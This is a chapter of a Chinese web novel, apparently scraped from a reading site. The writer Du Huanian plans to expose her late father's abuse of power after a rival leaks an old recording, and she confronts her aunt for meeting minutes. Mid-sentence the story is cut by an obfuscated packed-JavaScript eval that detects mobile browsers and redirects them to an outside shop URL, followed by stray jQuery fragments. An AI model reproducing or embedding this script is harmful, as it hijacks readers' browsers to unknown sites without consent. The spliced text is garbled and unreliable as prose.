71.我来揭穿我父亲,总好过别人吧?

作品:《秦淮烟雨遇故人

    下午三点零一分,两人走出了大楼,手机频繁震动起来,症候群炸锅了。两人拿起手机一看,好家伙,沈荷放出了一段十二年前与何芳芳交谈的录音。


    在嘈杂的背景下,全网都听到了两个疑似主角十二年前的声音:


    “不如,直接署你的名吧。”


    “不行!这绝对不行,我的工作是有原则的。”


    “我知道,但是学姐,我爸在这个圈子什么地位你不知道吗?”


    “你是在威胁我?”


    “你回去考虑一下吧。”


    录音下紧跟着一段视频,视频中,沈荷的代表律师表示,保留起诉何芳芳的权利。


    寥寥几句,足够吃瓜群众发挥想象,接踵而来的就是各路水军的疯狂渲染,舆论一下子反转,何芳芳不再是被上位者父亲摆布、被草根编辑沈荷利用、但却始终不放弃自己理想的热血偶像,而是一个利用出版家女儿的身份压迫小编辑沈荷的恶毒官二代,沈荷反而成为了不管经历多少不公,仍旧自强不息的人生榜样。


    群里已经不发文字了,全是语音,点开一听,根本没法听,李雯按灭了屏幕。


    “怎么回事?这录音是真的吗?”李雯用力抓住杜华年的手臂。


    杜华年快速浏览了一遍各大平台标题,放下手机,“半真半假。”


    李雯心一下子凉了半截,大冬天的,后背爬上了冷汗,“这是你们最要好的时候吧?你刚上大学,刚认识她,她还在……在读研究生……她就录音了?!你知道她录音吗?”


    杜华年摇摇头,手指扣紧了手机,声音从鼻子里冷哼出来,“谁能想到学姐带学妹去学校后门美食街吃饭,还能带个录音笔?”她顶着后槽牙,回头抬眼仰望楼顶,脸上露出了李雯熟悉又害怕的神色,“沈荷,我真是夜郎自大了。”


    她的眼睛泛红,李雯突然间感受到她有多受伤,毕竟一年前,她还为了保护沈荷,宁愿自己背上抄袭的黑锅,可是沈荷居然在十多年前,两人刚认识的时候,就已经做好了防备,铺好了后路。杜华年这个人,只要她感到深深地受伤,她就会露出这种表情,倔强又可怜的小兽一样,但也始终是个野兽。


    李雯想缓解一下她的情绪,“这个事情她肯定是要用水军来加码的,我不如让瑜姐也买水军下场,不能让她带节奏。”


    杜华年抬手打断她,“这些都不是她的重点,她是想要人们觉得,我写这个故事的动机,是想要把黑锅推到一个无辜的、无权无势的打工人身上,而这个打工人却在十几年前就留了个心眼,在这个节骨眼上,实现了逆风翻盘。你觉得,她这个新人设会不会更受欢迎?毕竟我们的读者全是打工人。”


    李雯经她这么一说,骤然感觉到了四周的风全往自己身上吹,瞬间脑补出了一场社畜牛马围殴她和杜华年的狗血场景,于是她有点慌了,“那怎么办?你有录音原版吗?”


    杜华年看向她,苦笑,“我怎么会有?”


    电话响了,是瑜姐,只说了几句话。李雯一脸风声鹤唳,“瑜姐说,让我们赶紧回去。这附近有很多狗仔。”


    千帆过的天台上,林见月正在给线稿上色,杜华年上来抽烟。她就喜欢林见月这种AI性格,谁也像是没看见谁。李雯心神不宁地坐在楼梯口边,瑜姐问她,“真的不需要做点什么?现在都骂到老杜的祖宗了。”


    李雯轻轻地开口,“昨天沈荷被骂的时候,不被问候祖宗吗?”


    瑜姐冷笑,“能一样吗?沈荷干了什么也都是靠自己,可今天这个录音呢?它说明我们老杜是靠爹,你知道这多招人恨吗?能出圈那种恨懂吗?”


    李雯懵然点头。她当然懂,她从小到大都在承受这种恨,因为她是富二代,就仿佛她抢夺了别人口袋里的钱和机会,却没有人记得她作为私生女的困境。欸,可是如果出了什么见不得人的事,大家又会首先想到她,因为她是私生女。


    人类并不会因为穷困就变得善良,也不会因为富有就变得歹毒。不要去怪钱,钱多无辜呢?


    “唉——”李雯长叹一声,“先忍着吧,老杜什么都没说。我不怕她挨骂,只要她能写东西了,我有什么好怕的?”


    瑜姐点头,“那你也别在这坐着了,下楼吃点东西。”


    “不,”李雯靠着楼梯口,“我有点怕。”


    “怕什么?”


    “怕老杜做什么决定不告诉我。”


    瑜姐叹气,“那你坐着有什么用?”


    “不让她偷偷走。”


    瑜姐哑然。


    杜华年知道她只有最后一条路可以走了——曝光何文谦给沈荷汇款的流水单。但这够不够呢?沈荷会不会还有后手?她现在也不能肯定,万一沈荷并没有跟她讲全部真相呢?当年发生在那间办公室里的对话,万一沈荷也有录音呢?万一还有下半部分的对话,沈荷没讲,她也没猜到呢?毕竟,当年她不在场。


    她已经受够了挤牙膏的方式,这件事情,她真的想立即了结它。那么只有一个办法:两败俱伤,玉石俱焚。


    在送走何文谦之后,何文衫给了她一份翻印的《你我》手稿,上面有何文谦的批注。何文谦有个好习惯,哪怕就是写一个字,他也会落款日期。所以,这份翻印的手稿,可以证明何文谦当年就读过《你我》。她还记得何文衫提过,何文谦在开会的时候,传阅过这份手稿,那就是说,只要有当年的会议记录,就可以证明,她之所以不能用何芳芳的名字发表《你我》,是因为何文谦利用权力打压她,那么,只要她曝光这份会议记录,何文谦多少都算滥用职权。这样一来,整件事的动机就完整了,她被老爹逼到墙角,正好有个沈荷愿意帮忙,没想到陈年旧事,却被一时贪念上头的慕华又扯了出来。


    杜华年和沈荷的人设会同时彻底崩塌,这场闹剧,终于可以落幕。


    但她本不想走到这一步,让一切都似真似幻,引发一场热度,两边都拿点好处,然后和平解绑,桥归桥路归路,挺好的。


    可沈荷却不是这样想的。


    十二年,十二年前她就录音了,可她却一直把她当知己,放在心里十二年。


    想完一切,抽完两支烟,她路过林见月,往回走,在楼梯边看见了李雯。


    “你干嘛呢?”


    “你要去哪?”李雯警惕地站起来。


    “去找何文衫。”


    “找你姑姑?她能帮忙?”李雯明显放松了一些。


    “走,吃点东西,我有话跟你说。”


    两人就在后厨找了个角落,一人一碗海鲜面。杜华年像交代后事一样,“现在只有这个办法了,等到这些都曝光,这个故事就变成真的了。我得加点辣椒酱。”她起身去灶台寻摸,“该调查的,该走程序的,都跑不掉。所以,工作室以后就是你的了,林见月和曾倩、慕华,都能用……”


    李雯打断她,“你交代后事呢?为什么非要曝光这些?沈荷赢了就赢了嘛,你反正都能写东西了,我们有热度就行了呀,这部电影没了就没了,总有下一部的呀!”


    杜华年拌好辣椒酱,蹲回来,“阿雯,你觉得沈荷只是为了这一部电影吗?她当年既然能录音,可见是个极端谨慎的人,这样的人,会不怕我手上有更多后招吗?如果她还从一个商人的角度思考,今天就该答应我提的条件,大家见好就收。可她没有,说明她所图不在此,所以我只能把事情一次性推到底,就再也翻不出新花样了。”她捞捞面,吃了一口,含混道:“我跟你说这些,是想你能早有心理准备。反正从一开始,工作室就是你投资的,我其实也不喜欢这些工作。等这件事彻底解决了,一切都会好起来。赶紧吃啊,坨了。”


    李雯看着她,本想继续劝,突然意识到什么,说不出话来了。杜华年真的变了,她再也不像从前,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913521|192409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一意孤行,做什么决定都不会跟人商量。她现在会告诉她她要干什么,为什么这么干,让她有个心理准备。


    正是饭点,后厨乒铃乓啷的热闹底噪充斥着整个空间,颠勺、热油锅、呛蒜瓣、剁肉泥、劏鱼……李雯突然眼睛一热,两滴热泪落进了碗里,“老杜……”她有点哽咽,“你太难了,何文谦不放过你,沈荷也不放过你……”


    杜华年也红了眼,她看着李雯颤抖的双肩,“阿雯啊,你不也太难了吗?”


    杜华年打车去找何文衫,在这个曾经坐着何文谦的办公室外,杜华年看着何文衫埋头处理文件,和她父亲很像。她敲敲门进去,何文衫很惊讶,“你居然自己来了,不怕我骂你啊?”


    “你骂。”她一坐,把包放在桌子上,一脸痞子的无赖样,“骂完把当年的会议记录给我。”


    何文衫只反应了片刻就明白了她说的是那场会议,于是她立即察觉了她想干什么,一拍桌子,“你疯了?”


    “小姑姑,录音你听了吧?我也没办法,沈荷这一手太厉害了。”杜华年一脸玩世不恭,把何文衫气得头晕,扶着额头往后靠,“那还不是你咬着人家不放?她是个商人,股价下跌她肯定是要用点手段的,更何况你当年也确实威胁人家呀。”


    “我没有!”砰一声,杜华年狠狠拍了桌,突然凶狠起来,死死盯着何文衫,“录音她做过手脚,我没有威胁她,我最讨厌的就是威胁,我不威胁人,也不受人威胁!我当时只是跟她提过这个办法,她是回去想了两个多月,才突然在校刊上连载的。”


    何文衫知道这个侄女的脾气,软下语气,“既然她是这样的人,我们肯定防不胜防,你还不如和她和解。”


    “不可能。”杜华年一偏头,“把记录给我。就算你不给我记录,我也有翻印的手稿。”


    “你还说你不威胁人?”何文衫也生气了,“你要让你父亲,死后名声还要被毁么?”


    “我说事实,没有冤枉谁,也没有编造什么,怎么叫威胁你?我只是告诉你我会做什么,你自己衡量,提醒你不要蠢而已。我有要断你后路,砸你饭碗吗?”天黑下去了,杜华年心里更急,声音越来越大,“还有,什么叫名声被毁,他做这件事的时候就该想到有今天。毁他名声的,不是他自己吗?”


    何文衫被她噎得哑口无言,气堵在胸口不上不下的。


    杜华年见她还是不松口,也缓和了语气,“小姑姑,你可以不给我,我想,有这个记录的一定不止你一个,当年与会的老总编们,我会一个一个去找。”


    何文衫惊讶地看着她,“我哥哥怎么生出你这么个讨债鬼?你就这么恨他?他都走了,你心里没点父女之情吗?”


    杜华年真觉得可笑,“哈哈,小姑姑,你和他是真像啊,自己没给人家什么感情,要人家对自己有感情?我今天能承认一句,他不是很好的爹,也不是最坏的爹,就算是公平了。我到现在都还没想明白,他为什么要这么对我呢,我还不是得过我的日子?死了的人才干净呢!什么都不用烦了!”她说着,心酸又上来了,赶紧停下来缓了缓,“姑姑,我也跟你讲实话,我不是来较劲的,我和沈荷的事也没你想的那么简单,她就是冲我来的,不是我投降、妥协,她就会罢休的。我,”她哽咽了,用手指指自己,“我来揭穿我父亲,总好过别人吧?”


    她最后这几句说得恳切,何文衫怎么会看不懂?她心里一下子觉得眼前的不是自己那个小侄女了,她是一个说一个字包含千万句的大人。何文衫听懂了最后一句,下午的录音就是个隐患,谁也不知道当年的事会被翻出来到什么程度,如果有人为了自保而把何文谦买了,那也是防不胜防。于是何文衫恳求,“我打出来给你。但是,请你,尽量不要把这事公之于众。”


    杜华年看着她,觉得她有点可怜,点点头,“我尽量。”站起来,“我在楼下等你。”